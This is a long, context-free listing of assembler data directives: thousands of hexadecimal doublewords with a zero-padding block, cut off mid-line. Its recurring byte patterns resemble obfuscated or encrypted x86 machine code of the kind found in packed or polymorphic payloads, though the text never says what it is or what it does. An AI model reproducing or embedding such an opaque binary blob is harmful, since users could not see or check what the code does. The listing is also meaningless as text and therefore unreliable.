0ED56FCC3h, 0F6816623h, 0AAF389F1h, 0B0B54ABEh dd 4149352Eh, 6A5350h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0C81B78C3h, 0C68F8FC2h, 1E204185h dd 0B5894706h, 61E2DEDh, 4E8h, 0D6882C00h, 0D78B57DCh dd 12E9505Ah, 0CA000000h, 0BDBDEAFFh, 0BC82D4E6h, 6A1A0AC4h dd 0F44BEF3Bh, 24448B05h, 0D38B6604h, 8B66008Bh, 244489D0h dd 0DA805804h, 91B5FFDEh, 60061E32h, 5852360h, 89061E0Ah dd 1E155DB5h, 830F6106h, 3, 61C8BF0Fh, 32958D31h, 858D061Eh dd 62178D1h, 858B5060h, 61E0D0Dh, 0D8A0F59h, 0E9000000h dd 8, 195FC125h, 0CE2C63A0h, 6AD0FF61h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9F0DC357h dd 0A98589AAh, 6A061E2Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0C009C351h, 1651958Bh dd 85C6061Eh, 61E2041h, 53006A53h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 8BBDC007h, 6653568Ah dd 685D09BAh, 7BD57145h, 631318BEh, 24048140h, 0CC2F9B7h dd 68D0Fh, 0B5890000h, 61E14CDh, 3291B5FFh, 958B061Eh dd 61E1AC1h, 78D1858Dh, 0B58B0621h, 61E059Dh, 6AD0FFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0C08EAFC3h, 0FDB58BBAh, 0B6061E2Eh, 0AE858D44h, 0F062137h dd 8E8D3BFh, 3F000000h, 1D865197h, 0E9D089E3h, 0Fh, 0CAAC9E59h dd 0E867AE58h, 1A4416DAh, 5E416CE4h, 32718589h, 9509061Eh dd 61E2AA1h, 0FF6A206Ah, 327195FFh, 4935061Eh, 0C7535041h dd 1E18D185h, 106h, 0BD85C700h, 61E04h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0ABEEC356h, 0C7AE781Eh, 18475945h, 0CC1B523h, 0BD83061Eh dd 61E3351h, 55840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8898C352h dd 858BBF1Eh, 61E1971h, 0BE9h, 0E251FB00h, 4883F072h, 0B3A0C9EBh dd 0A364h, 8A0F0000h, 4, 5A94B650h, 8B7DEE80h, 1E271585h dd 66E08B06h, 25C7F281h, 0CB5BD83h, 0F00061Eh, 36985h dd 4185C600h, 56061E20h, 68F28B66h, 85740F69h, 0B6243481h dd 6A2CB13Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 168BC350h, 0F311B58Bh, 3291B5FFh dd 0B70F061Eh, 0D1858DF3h, 31062178h, 1E27218Dh, 6AD0FF06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0C6AAC355h, 1D7E5D08h, 0B58BFE6Bh, 61E0775h dd 9BAABE90h, 8B506316h, 840F90D0h, 19h, 14E9h, 0C2529900h dd 3AD5EC1h, 0EBBBF7C6h, 8C34A6B2h, 5D0F17A4h, 998D8DEBh dd 50061E1Fh, 60505250h, 310F5E61h, 8E0Fh, 585A0000h, 89240C89h dd 1E221595h, 66046A06h, 682411BEh, 0BA2AF800h, 4BC0BE66h dd 240481h, 0F45D518h, 0B5FFF2BFh, 61E0EC5h, 18800Fh, 0CE80000h dd 1A000000h, 12863CE5h, 2B5DCF71h, 8B592911h, 1E201195h dd 0D0FF5E06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 38C35141h, 1E8E0Fh, 12E80000h, 0D5000000h, 9B01434Fh dd 24211671h, 0E6B70A9Bh, 0C64B31CEh, 7D8D898Fh, 5A061E27h dd 0EC5BD8Bh, 0BD89061Eh, 61E1459h, 803C7F03h, 0A5BA3EF6h dd 81189021h, 0F8C7h, 0D1958B00h, 0C7061E09h, 202447h dd 0D6816000h, 7844D61Bh, 6A6ABD83h, 0F000625h, 12F84h dd 0F1BA6600h, 28C78393h, 68C0Fh, 95330000h, 61E26C9h dd 6A2E07C7h, 850F6469h, 5, 34F2C3BEh, 447C730h, 617461h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1CC35646h dd 38449CD6h, 2BFFE08Dh, 1E19D195h, 72858B06h, 8A06256Ah dd 31B589D3h, 89061E22h, 0E2810C47h, 3C45D1A9h, 6A76858Bh dd 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 70F80EC3h, 3F4D3947h, 0C1B50341h, 60061E1Ah dd 207D9D8Bh, 958B061Eh, 61E0279h, 8478961h, 0B880Fh, 0F600000h dd 880FD0B7h, 0 dd 0D18B6661h, 5628C783h, 26B1B58Bh, 0C75E061Eh, 6F632E07h dd 0A6EE816Eh, 0C75DE8F0h, 69660447h, 870F0067h, 0 dd 2949B58Bh, 858B061Eh, 6256A6Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 77C35343h, 932ECDB7h, 0C4789F1h dd 8B7CCA80h, 256A6A85h, 9E906h, 1B320000h, 0A047711Ah dd 89D36481h, 0D18A0847h, 8D8DFC58h, 61E0E11h, 0BE991FCh dd 0AC000000h, 0E3C36A72h, 0FA393AD7h, 0F501DD1h, 281h dd 91F08B00h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 9CC35343h, 0FFD08B61h, 1E1F99B5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0D7FA0F3Eh, 8E9h, 0CC7AEB00h, 0F2358D5h, 0DBD8909h dd 68061E1Ah, 93E70088h, 60605250h, 0CF8B6661h, 0E9310F61h dd 6, 6CBD1310h, 585AC288h, 78240481h, 666C190Fh, 5EE8E281h dd 0EC5B5FFh, 5E8061Eh, 0CB000000h, 151E3E94h, 0EBBA665Ah dd 0FD0FF39h, 0B8D3B7h, 9000000h, 1E0C799Dh, 0FC00B06h dd 6984h, 29BD0100h, 0FF061E0Eh, 1E0831B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0E7011776h, 0AE9F2h, 69860000h, 0B4969CE8h, 0A9C8284Fh dd 16B995FFh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0E444C8C3h, 2C26DE6h, 0E281669Ch dd 0C08B0C73h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0F1C35646h, 23061DBBh, 7813EFBAh, 0E281666Ch, 0BD83D663h dd 61E1D79h, 83097500h, 1E2B25BDh, 19740006h, 0C08B5350h dd 42DB8h, 19858900h, 8D061E0Dh, 20ACA19Dh, 5BD3FF06h dd 25BD8358h, 61E2Bh, 53501774h, 42DB8h, 19858900h, 8D061E0Dh dd 20A9429Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0FC4B5718h, 0A562CB46h dd 1D5FBAACh, 6A7824h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E8DC6FC3h, 0Fh, 0BC69122Eh, 74EFDE15h dd 0F629A4FEh, 0F6BC3B2h, 0B82h, 6E900h, 87F30000h, 8CC48EEBh dd 8BC08B5Ah, 1E29C195h, 8DC08B06h, 2573F38Dh, 0C3BF0F06h dd 23758D89h, 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 461D7BC3h, 0C7F9BACAh, 1E324D85h dd 597C06h, 51858B00h, 0C7061E1Dh, 1E316985h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0A235A43Ah, 8B1C3207h, 5860FD9h, 0BB000000h, 4E2EC24Ah dd 1EB5B5FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0A5340C3h, 6D22E85Fh, 23742186h dd 1E1BD5BDh, 0B995FF06h, 6A061E16h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0AEB2C351h dd 95FF006Ah, 61E26C1h, 3DEBC08Bh, 0EB400760h, 0C0617301h dd 0CA2AE897h, 9C08CF76h, 0D4D420B6h, 3F731728h, 1D865197h dd 0A5D089E3h, 0B575F652h, 0FB96EDDBh, 82CDE301h, 0F692B4BBh dd 59909EB5h, 4B879324h, 56C18A4Ch, 13E898h, 78680000h dd 0FB4599C8h, 0ABFDF12Eh, 0E6189387h, 28342259h, 5EC9B377h dd 1B358D89h, 0C681061Eh, 728Bh, 6888F580h, 0 dd 8C0F5760h, 0 dd 61C38B58h, 0DFEB815Ah, 8B0C3DCAh, 0B70F1604h, 37C081FEh dd 893B74B7h, 1E20BD95h, 0B2F08106h, 89397FCCh, 1E0D6185h dd 9AC08106h, 31307695h, 1E31B985h, 16048906h, 0EC99501h dd 0DBBF061Eh, 813E1D53h, 0FB1170EAh, 0D19D3112h, 81061E07h dd 0FB116CC2h, 858B6012h, 61E2E69h, 12E9h, 585CC300h, 0F3CBBD80h dd 668192E1h, 0C7CA2532h, 61561EE1h, 8E4CFA81h, 850FFFFFh dd 1Bh, 22E94FB1h, 69000000h, 0A9EB6847h, 0D588D5BCh, 5A15606Ch dd 7AF51282h, 8B0226B6h, 0FF69E9FBh, 84BAFFFFh, 0BFA2BDE1h dd 0D08D8DDAh, 0E9062575h, 5, 0CD705EDAh, 758D89C1h, 6A061E23h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 7BB4C352h, 8B0B45E9h, 1E2CE59Dh, 4D85C706h dd 0EC061E32h, 8900006Dh, 1E158DBDh, 6985C706h, 61E31h dd 56000000h, 11E8h, 0FDB3AE00h, 2CE1C5E5h, 0FAF8EE4h dd 8B2BDFE5h, 9589DEE8h, 61E1901h, 0B5FF5F5Eh, 61E2931h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 7FC35646h dd 559D016Dh, 0D4BA621Eh, 95FF5B56h, 61E16B9h, 6E953h dd 86750000h, 4C325779h, 0FF006A5Eh, 1E26C195h, 0EBC08B06h dd 4216E00Eh, 2EA1DE0Fh, 0BCC56EFFh, 8B803D51h, 0C0h, 17Dh dup(0) dd 0D281FC60h, 3B22905Bh, 57006A61h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4CD4980Fh dd 0F5912BDDh, 0E960FC9Dh, 11h, 6FAC79ADh, 64187145h, 0A35E1FB8h dd 52109AEBh, 14E9F3h, 0F0660000h, 0CEF181D7h, 793B4C0Ah dd 0F4111CB2h, 0B0D5F41Bh, 6161CEC5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 3FC35545h, 0CCE5EAF7h, 6A5D2Eh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0E7C998C3h, 244401F9h, 6A58F808h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6423C352h dd 0F6086E5h, 58Fh, 0C3816600h, 0F60C216h, 81h, 13E800h dd 545D0000h, 4E3A7A21h, 86B61A4Eh, 0ACDA5E64h, 3937AAC6h dd 61615E5Dh, 820FC39Dh, 1, 51006AF9h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0FED92876h dd 0E8C08BF9h, 0Ah, 6B829D9Ch, 0AE4CAF35h, 0E8BBFDB3h dd 5A5A5542h, 60C9BF0Fh, 9E9h, 0EE9B0800h, 0CBA1459Fh dd 61F547A7h, 525789B2h, 68FDD381h, 5E5A79C8h, 11E9h, 0E78B9800h dd 0E55FBDACh, 5063E46Fh, 0FAE62BCCh, 0FA8B2468h, 12E9h dd 0F43A0800h, 9AF1756Ah, 0E3349BBEh, 0A46B1316h, 6079B2C4h dd 8E981F5h, 61086875h, 3CC5B966h, 0CE8h, 7492F200h, 0CA1A6A73h dd 0FF8928C6h, 56525F13h, 5AB8E280h, 6E959h, 0C10C0000h dd 241CB7C0h, 0FC3EA80h, 381h, 0D6BF0F00h, 60CAB70Fh, 0F18161F9h dd 6C8E20ECh, 13E8h, 381C0B00h, 0CB8FDE35h, 9721BBA5h dd 0C870B353h, 5374B201h, 0FE958h, 742B0000h, 0B9A8C4EAh dd 12FF82A9h, 0F5FAE550h, 15860FD2h, 0E8000000h, 0Bh, 9424068h dd 4B6A8AE7h, 66904721h, 58DD8DBAh, 5DB86652h, 49B15920h dd 9FD736B8h, 5E9F939h, 90000000h, 0CE248E0Bh, 14E9h, 0E19DB500h dd 477A0C94h, 896E7BE3h, 75DF2FF5h, 0DB105954h, 13E9FEh dd 29F60000h, 439D8FC0h, 0C7487FCFh, 0E4B8D3CFh, 12FE3A0Ah dd 0C1B70F19h, 8BF0B70Fh, 0C68B66CEh, 0DE9h, 0DBB0AB00h dd 877E075Eh, 0E5821F0Ch, 29B89614h, 661FC282h, 0F56109BBh dd 60DABF0Fh, 0CE960h, 0D5300000h, 7E2E3EA4h, 81A15BE8h dd 830FF19Bh, 0 dd 5E961h, 1E480000h, 613A9EFFh, 669EE780h, 1C38E381h dd 19880Fh, 12E80000h, 0FC000000h, 549F3790h, 0AFC47FFBh dd 251E8E65h, 188B7B2Eh, 0F5AF86Eh, 3287h, 14E800h, 9A760000h dd 0AC476DBDh, 0DBFF811Dh, 4B6F92AFh, 0E210CA74h, 13E9D4BBh dd 88000000h, 0A0E556C4h, 56E8D37Fh, 0E8F74D61h, 634D958Ah dd 0F59D84Bh, 282h, 57DA8A00h, 0B38CBE66h, 19CF8058h, 38A0FF8h dd 0F000000h, 8E0FD0BFh, 8, 2880Fh, 0F28B0000h, 5E9F8h dd 0B44E0000h, 0E957A6A7h, 14h, 3DE8408Eh, 0C1B7CB11h dd 0DA160879h, 0D590CAF4h, 0F3A47804h, 0EBCE81F5h, 810B9578h dd 901751F6h, 0F5A5202h, 8B66C7BFh, 9E8D6h, 1E670000h dd 0F95D655Ch, 81E724ADh, 2C2C0EF7h, 0EA805A2Dh, 810F5261h dd 15h, 10E9h, 6060F100h, 1E63CAF9h, 87889760h, 0F7E537A6h dd 0AE95B90h, 0F3000000h, 9666EDABh, 0F3D5898Eh, 0AE9CBh dd 7D3E0000h, 0FEE0B30h, 1BE4672Ah, 0AAD08060h, 0F6174B3h dd 0D880D3BFh, 6E8A5h, 52B80000h, 5BA5ABEBh, 5E70F280h dd 94ED3AB9h, 0B9666013h, 8B660C3Dh, 13E861D6h, 57000000h dd 0B9631B21h, 94F7B62h, 1710C54Ah, 0AF51FEEBh, 0F56FAA8h dd 8Dh, 665F5A00h, 0E9AC31BEh, 14h, 0D9CCBE65h, 4DBAB54Ah dd 485EA2C2h, 7809ADFCh, 0F3992E73h, 9DCB8166h, 0D78B6679h dd 5E9h, 232FC900h, 0FFC5F54h, 0AE9FBBFh, 68000000h, 4258BED9h dd 0E5063731h, 0D081FC10h, 6911E1B6h, 8166C38Bh, 8B9B66E0h dd 38B0FC1h, 0F000000h, 0EE8F6B7h, 0E8000000h, 0CABEBB3Ch dd 4CF2282h, 0B9E70E2Ah, 0BE59F5DEh, 194F22F1h, 9E860h dd 1CF50000h, 0E7164FE2h, 60E874F1h, 0B9615B61h, 5059D706h dd 0E8FA8B66h, 6, 0E2BF3A55h, 0D88A4020h, 0B820F5Fh, 60000000h dd 93BBA66h, 1647FDBBh, 0C28B611Ch, 0ADE38166h, 0FBB70F52h dd 0FCC2B70Fh, 11E9h, 9C934B00h, 72452653h, 19BDEEE9h dd 0E73B22F6h, 880F341Ch, 0Eh, 5E960h, 252C0000h, 8BF06344h dd 0EC8061FAh, 0FCB8B25h, 181h, 99B4F500h, 65F18166h, 0A759BAB6h dd 0E6806A1Ah, 79BB6621h, 85BB66FDh, 64BF662Fh, 86BE66C0h dd 0D3BF0F55h, 13E8h, 1870E300h, 0E3F5151Dh, 0B44B2F21h dd 518137E2h, 810B1948h, 0E3E68166h, 35B55E22h, 0CBE08160h dd 66030543h, 8061D68Bh, 81666AE2h, 0F83A8C6h, 0C38BD0BFh dd 0F60C78Bh, 8E9D6B7h, 3E000000h, 0CB56F263h, 6168DAD2h dd 0BE96051h, 35000000h, 79E0778Ch, 2FF7EA19h, 8D0F01C1h dd 0 dd 66F85961h, 80F8D18Bh, 8A60ECF7h, 0B9EA81F5h, 61195DFAh dd 7CB43CB2h, 0F49FDF81h, 0DA800752h, 0AE9EBh, 0A9670000h dd 59774B10h, 0B9CDF8E1h, 58A0Fh, 81660000h, 801037C2h dd 8C0F9ED5h, 1, 9B966F8h, 66F38A40h, 9C57D081h, 0D3EF8150h dd 5E08446Dh, 0FBDABE66h, 0E960F58Ah, 0Dh, 2B9D2798h, 87557CD1h dd 0EC09D96Dh, 6890F06h, 0F000000h, 87h, 820F6100h, 3 dd 66DFD080h, 2BFCB8Bh, 0B41A47D6h, 0C830F10h, 0F000000h dd 689h, 8D0F00h, 66000000h, 0B70FF08Bh, 11E9DBh, 4BC20000h dd 655E8939h, 0C01EC377h, 0E975522Ah, 0E943C5CFh, 14h dd 0CB883B5Dh, 1D41B2DCh, 526A9B44h, 54A652B5h, 9ED355F0h dd 397F9DBFh, 831EB900h, 80F570D8h, 9E8D1EEh, 0F5000000h dd 47220A5Ch, 85110F9Bh, 8995C081h, 0E95F2B13h, 12h, 0F8F63F8Ch dd 28282F08h, 0ADB8322Bh, 0AEA15E2Dh, 8B662E2Eh, 0FE9CBh dd 1F9E0000h, 8A410924h, 6CE185A4h, 207A87CCh, 0DDBE56E8h dd 5A17EA3Ah, 5810Fh, 60BF0000h, 6675BB7Eh, 0B70FD18Bh dd 51BA66C3h, 0D374B8E5h, 0BB95949h, 660CD29Eh, 0E881C68Bh dd 0E412782h, 31BE40BBh, 0FCD38B32h, 148A0Fh, 0FE90000h dd 7B000000h, 0D9FA71B7h, 67F2BAB8h, 0D9117BBCh, 816639E5h dd 0F2414F2h, 89h, 0B9666000h, 0E961448Dh, 14h, 0EBCEC0E2h dd 0C7F0F627h, 301028E7h, 4B492784h, 400CDABEh, 0E8F88B66h dd 14h, 781EABEEh, 5945C7AEh, 0B16A1847h, 3420D698h, 952AD556h dd 6660F958h, 0E90471BEh, 0Ch, 5858C49Ah, 0C3D3088Ch, 58F6DFDAh dd 18C68161h, 0F9378F9Eh, 0C78BC88Ah, 6DB95660h, 5E7FBEACh dd 2890Fh, 0C9B20000h, 84BAF561h, 8122F5E0h, 7B83CBEAh dd 138F0F60h, 57000000h, 0CE9h, 91D05500h, 0CE905D72h dd 41D2F0BBh, 840F5EBDh, 8, 2820Fh, 1CB20000h, 8B66CF8Bh dd 0DC91BEC2h, 890F08BDh, 0Ch, 6E8h, 5EA83300h, 58EB3B76h dd 1820Fh, 0BAF50000h, 75DE0525h, 0FF6BF0Fh, 58Dh, 601CBF00h dd 8B0F73CBh, 5, 36CB9BEh, 13E85259h, 50000000h, 0CC4B0761h dd 5FCE0D4h, 3DCCA98h, 41529E27h, 0D78BB03Dh, 0B966585Eh dd 8153CFD8h, 0A9D274E3h, 0E8815E60h, 70A3AEAEh, 14E9h dd 0F5828F00h, 61272C6Ah, 4AE8B7ACh, 0A342A2FEh, 96A28AAFh dd 0FEF8A62h, 38Ah, 0FB8B6600h, 0D98BF48Ah, 68D0F51h, 0F000000h dd 8Fh, 50F95900h, 12E8h, 73E61200h, 0C7A35ADCh, 565A01A0h dd 2EF7E3A3h, 0E93AAEF5h, 11h, 0C6B49F57h, 0F50AA1E2h dd 88CEDF62h, 97041AE4h, 525859BCh, 18870Fh, 12E80000h dd 46000000h, 660BC8FAh, 6C3CAB94h, 9DA37859h, 2E20908Fh dd 805A5F08h, 0BE9ECF5h, 26000000h, 9C693262h, 52ADA741h dd 0B70F0D8Eh, 1D800FF6h, 60000000h, 13E807B7h, 0E8000000h dd 0C4977CCBh, 8361F407h, 9CACB84Bh, 6DB2103Ah, 61583516h dd 57DABF0Fh, 215CBE66h, 0AE85Ah, 0C2610000h, 0FEF3F26Eh dd 0AA12A9A9h, 12E9h, 0BC1AEC00h, 0DAA80F3Ch, 0C42D2356h dd 653726E5h, 5F5B71C6h, 13E9h, 12AF5B00h, 90435020h, 0B6DA88F4h dd 0CA1C5D46h, 3FC40FA8h, 28B0Fh, 0F98B0000h, 50FB8B66h dd 577CEE81h, 0F5F383Bh, 1481h, 8E800h, 2DAB0000h, 5626025Ch dd 0F781B1E7h, 5A6E871Bh, 6E85Fh, 0AFEA0000h, 70A636EBh dd 0CE8h, 3F4D3900h, 0EB906041h, 0E761B0F1h, 14E892h, 0DE6F0000h dd 7AE4E801h, 0D2F850EFh, 0BFFD9D19h, 8AEC0D4Fh, 5E5EB961h dd 8AF88B5Eh, 0B1DA8BF9h, 0D1816646h, 0CE808AA8h, 6E955h dd 39A60000h, 3E2EFE1Eh, 0E919E980h, 11h, 46E9DA5Dh, 0F72CDADEh dd 4CB0E651h, 39CC9EF9h, 94BF66D4h, 0F5050D2h, 80h, 0F85B5800h dd 148D0Fh, 0FE90000h, 9E000000h, 709DEADFh, 33ED6672h dd 423A8694h, 13E9B94Bh, 0F000000h, 30005E6Ah, 76D30D94h dd 0CB102966h, 0F0CDB944h, 9CBF28F4h, 814A1AC4h, 27DCCECEh dd 0EA81661Eh, 0D68B8AE1h, 0E84DC580h, 8, 34164AF0h, 2285473Ch dd 0CE8h, 56502D00h, 0CEE46CD9h, 0B67C5C87h, 585AF940h dd 0F856D281h, 0D5B225A0h, 791E3EBFh, 0F181F903h, 4BE7EA50h dd 5E9h, 394D3B00h, 0F18BC8EBh, 0E8CB8B66h, 5, 4530B784h dd 0FB8B669Ch, 5880F5Fh, 66000000h, 0EBC3D181h, 20810Fh dd 820F0000h, 1Ah, 14E8h, 24341E00h, 0C08DFCCh, 7BF4B10Eh dd 0A47A9329h, 0BB7D0B75h, 13E95A99h, 0F3000000h, 4C66F3FAh dd 0DA12F57h, 0EB57389Eh, 0A0217ABEh, 49B9AEDBh, 0F26CC14h dd 0E680C0BFh, 0B70FF8F2h, 0CD79BAC8h, 6E94EE2h, 1000000h dd 5FE3739h, 0A0B86672h, 850F52E7h, 16h, 11E9h, 803D5100h dd 0D90A7DE8h, 1DA51D68h, 0DF8A140h, 0F5F7C6Fh, 38Ah, 0C6B70F00h dd 0AE9F9h, 940000h, 0C6B30956h, 5B14D8A7h, 0E9F2B70Fh dd 11h, 84E8CD6h, 594DDB55h, 881F927Fh, 6A31BF9Fh, 0CE8B6680h dd 0B7F3B70Fh, 8160F90Eh, 3D0E90EAh, 0F88B6140h, 0B8C38B66h dd 766AB7F8h, 18D0Fh, 0E8FC0000h, 12h, 0EFA20D7Dh, 0DA3B5748h dd 438285E7h, 0CA0D95CAh, 5760243Fh, 5961F85Fh, 14E9h dd 1BDCC200h, 440F281Ch, 0C57830Dh, 0E738CECFh, 8E67E4B3h dd 0A8C0F08h, 0E9000000h, 5, 0EC5F064h, 0FDA8B48h, 0B960F2B7h dd 2B21CD1Eh, 61D1BF0Fh, 8E9h, 0F6363B00h, 31C0EB71h, 0CEBF0F25h dd 6501BFBFh, 6E937h, 7D350000h, 6DA78135h, 0F3816660h dd 0E961D2A1h, 5, 0F7D86039h, 0F523B30Dh, 11E9h, 0B6607700h dd 0A4ED51CCh, 0EDB39E16h, 958D37DEh, 0DE94076h, 0E9000000h dd 0C55E6934h, 0D30C1BACh, 0CA9BE4E7h, 0E5DB8166h, 0D6BF0F02h dd 6E8h, 580BCA00h, 0FA17D09h, 8A5AD1BFh, 0CB8B66E5h, 0E1D28166h dd 5820F71h, 66000000h, 0D0A7D181h, 0E8DFB70Fh, 0Dh, 64884E0Ch dd 0C5580728h, 71B2ACE6h, 0E881666Fh, 0F5F561Fh, 38Eh dd 51DB8000h, 0CF8160F8h, 1DCDD5C7h, 61C2BF0Fh, 805B5260h dd 0E961E3F0h, 5, 2FA7A37Ah, 0C68156F1h, 347D3442h, 4AB86658h dd 2800FDDh, 8B000000h, 0C38166CBh, 0B660D0D2h, 0E78A6063h dd 506161F8h, 29E968B9h, 0CB8B5E60h, 12E9h, 0C7FA9F00h dd 21179651h, 2882C85Bh, 0D8C67AA5h, 6664746Dh, 0E8A72CB8h dd 5, 1A8D7A92h, 52575A33h, 86C2F381h, 585914CBh, 9E9h dd 7AD69200h, 0EE65CF09h, 60F59801h, 10820Fh, 0AE80000h dd 88000000h, 8D17A2E5h, 0D85A4BF5h, 33BF5E51h, 6125657Dh dd 0FCFB70Fh, 1480h, 0FE900h, 0CBBE0000h, 0E5E6AC7Ah, 725B0330h dd 2776D22Fh, 0E88A60DBh, 1095C081h, 50610FF2h, 7E9h, 193EE900h dd 1D8476F1h, 1820F59h, 0F5000000h, 6E9h, 0BE168400h, 0FC4F7EFFh dd 0AE8h, 0BC3BA100h, 4A6DFECFh, 60B116C1h, 11E8h, 31FC8C00h dd 8B33CAA9h, 0FFB35070h, 0C146E21Dh, 665FDA7Ah, 0D294E781h dd 81665E61h, 0E9515CEEh, 10h, 6213BFB1h, 1EB9A71Dh, 4A02587Eh dd 8BDD6C00h, 8B66F18Bh, 6860FF1h, 60000000h dd 0CB8B5E56h, 38A0F61h, 80000000h, 0BF0F6BE3h, 4BBA66FFh dd 60DF8B7Dh, 733AB866h, 68C0Fh, 890F0000h, 0 dd 0D5B06061h, 61CEBF0Fh, 8F0Fh, 0FF90000h, 581h, 96A0BF00h dd 52603347h, 0DE9h, 61EDFC00h, 0B4A57A7Ah, 0A88248D4h dd 5158DDF7h, 1BB0E381h, 61582461h, 8880Fh, 8E0F0000h dd 2, 0E7815856h, 311C85B6h, 0CE8h, 87378800h, 5A769BFh dd 0D144A311h, 10800FA7h, 0E9000000h, 0Bh, 82953190h, 2C1391B3h dd 59F33B1Eh, 86C38166h, 9E9DDh, 23DD0000h, 0E0EF302h dd 0F98FA7C3h, 0F7BF0FF8h, 14E9F8h, 0FBB10000h, 9FE42BFAh dd 0E4D0C23Bh, 0AA2B60A2h, 0E781757Ah, 8B66C372h, 0D18B66F1h dd 0BFC1B70Fh, 4AFCB4F4h, 0C849B866h, 6860Fh, 840F0000h dd 0 dd 0D870Fh, 6E80000h, 0B7000000h, 3E5B3F87h, 0F59F89Bh dd 588h, 0C809BE00h, 0BA665662h, 8E9B88Ch, 23000000h, 5F76DAC8h dd 51DFB8A4h, 860F51h, 58000000h, 0B8666059h, 8F0FAF3Eh dd 2, 0E96102B2h, 0Ch, 471274B3h, 1AC5F48Bh, 408C77Bh dd 9E8h, 0DC6B4B00h, 5A595D2h, 6E9D797h, 74000000h, 0FB6E5D38h dd 800F5BF9h, 27h, 14E8h, 0B88AAD00h, 0EB0D9CD5h, 0C94CA05Ch dd 79C388C3h, 82AD57EAh, 7E8DBh, 4B510000h, 0FEF64D26h dd 815E5EB6h, 0BF4CCDD7h, 0AE85336h, 73000000h, 0BE3693A5h dd 818559Fh, 5B58F5CFh, 206EFABBh, 0BE825h, 0D9660000h dd 3B26919Ch, 0CC9A6FBBh, 5E95FF5h, 36000000h, 1D3064Dh dd 0E7F0B866h, 18A0Fh, 0E8FC0000h, 9, 0B091FE2Bh, 2D423CC1h dd 3840FCDh, 66000000h, 6658C38Bh, 8A56FB8Bh, 11E95EDAh dd 0E000000h, 0CF4D49D1h, 43343BD9h, 0F122C414h, 18607929h dd 9E9F9h, 25B40000h, 56F844DCh, 0E96D35F1h, 8, 6111B302h dd 6AEFB476h, 9066F681h, 8A0F4BFAh, 8, 2850Fh, 58570000h dd 6870Fh, 0CE810000h, 58B5FE78h, 66DE8B66h, 812052BFh dd 34AE5ED8h, 0F1B70F32h, 0BEF98B66h, 7D19BC21h, 8800Fh dd 8D0F0000h, 2, 1BB2D18Bh, 0FFB70F52h, 2FC1805Eh, 8B6660F5h dd 0D88B60FBh, 62DB8166h, 0F61615Bh, 0BF0FCABFh, 64D281CEh dd 661E573Dh, 0EE9C18Bh, 50000000h, 60C2AB12h, 0B54B3E0Bh dd 337646D1h, 60DE8B77h, 0ABB22BEh, 0FBB70F1Fh, 0DE961h dd 0A5130000h, 672B9BF3h, 0F00E3DDFh, 0F0162CFh, 83h, 0B70F5200h dd 6E859DFh, 76000000h, 15BDD2D4h, 16870F15h, 0E8000000h dd 10h, 6829AE22h, 96EF108Dh, 0EB2FC195h, 5246F5B6h, 60575F5Eh dd 0FD1B70Fh, 89h, 605B6100h, 0D18AF861h, 7E9F8F8h, 88000000h dd 4A5F5C58h, 8B665B5Bh, 0F60F5CFh, 28Bh, 0E9585100h, 6 dd 2980847Bh, 0E961727Ah, 14h, 87073DAh, 2D7C89D7h, 0DD4B8657h dd 427E4880h, 0D7664C67h, 29C68166h, 0D1BF0F0Bh, 0D7D08166h dd 5E56F84Bh, 870F57h, 5E000000h, 0E46FF281h, 9BBF6999h dd 6079682Fh, 23CF8166h, 13E948h, 94B00000h, 0C0A2848Dh dd 4C03138Eh, 3B14F8A2h, 177BCAE1h, 10E961ACh, 0B8000000h dd 719A727Ch, 6313EEC7h, 96D64631h, 5063807Eh, 91F9BB5Eh dd 8B66782Bh, 0E9E0B1DAh, 14h, 9DE03B35h, 95C45D7Eh, 6115A1A7h dd 7A24BA52h, 1F130A2Fh, 168A0Fh, 11E90000h, 0B9000000h dd 0FA1377B5h, 0CBCFCF13h, 0D9AE1265h, 0C5C48D54h, 3810Fh dd 0BF0F0000h, 0FDD680CFh, 7E9h, 0A5663A00h, 